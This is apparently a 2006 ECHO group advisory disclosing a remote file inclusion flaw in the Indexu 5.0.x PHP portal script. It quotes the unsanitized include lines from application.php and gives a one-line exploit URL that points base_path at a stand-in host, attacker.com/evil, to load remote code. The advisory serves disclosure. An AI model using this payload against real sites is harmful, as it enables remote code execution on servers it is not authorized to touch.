\_ _____/\_ ___ \ / | \\_____ \ | __)_ / \ \// ~ \/ | \ | \\ \___\ Y / | \ /_______ / \______ /\___|_ /\_______ / \/ \/ \/ \/ .OR.ID ECHO_ADV_26$2006 --------------------------------------------------------------------------- [ECHO_ADV_26$2006] Indexu <= 5.0.1 Remote File Inclusion --------------------------------------------------------------------------- Author : M.Hasran Addahroni Date : February, 9th 2006 Location : Indonesia, Bali Web : http://echo.or.id/adv/adv26-K-159-2006.txt Critical Lvl : Dangerous --------------------------------------------------------------------------- Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Indexu Application : Indexu version : 5.0.0 5.0.1 URL : http://www.nicecoder.com/ Description : INDEXU is a portal solution software that allows you to build powerful indexing websites such as yahoo.com, google.com, and dmoz.org with ease. It's ability to allow you and your members to easily add, organize, and manage your links makes INDEXU the first choice of all webmasters. --------------------------------------------------------------------------- Proof of Concept: ~~~~~~~~~~~~~~~~ in application.php code script i found include fopen url vulnerability that not sanitized.an attacker can exploit this vulnerability with a simple php injection script.Here is the code of application.php ---------------application.php-------------------------------- ... include($base_path."lang/english.php"); // full path include($base_path."pagination.class.php"); // full path ... ------------------------------------------------------------------ Exploit: ~~~~~~~~ http://www.target.com/[path]/application.php?base_path=http://attacker.com/evil? Solution: ~~~~~~~~~ sanitize the script code in application.php to protect from this vulerability Notification: ~~~~~~~~~~~~ vendor was contact --------------------------------------------------------------------------- Shoutz: ~~~~~~~ ~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous,kaiten ~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw ~ sinChan,x`shell,tety,sakitjiwa ~ newbie_hacker@yahoogroups.com ~ #aikmel #e-c-h-o @irc.dal.net --------------------------------------------------------------------------- Contact: ~~~~~~~~ K-159 || echo|staff || eufrato[at]gmail[dot]com Homepage: http://k-159.echo.or.id/ -------------------------------- [ EOF ] ----------------------------------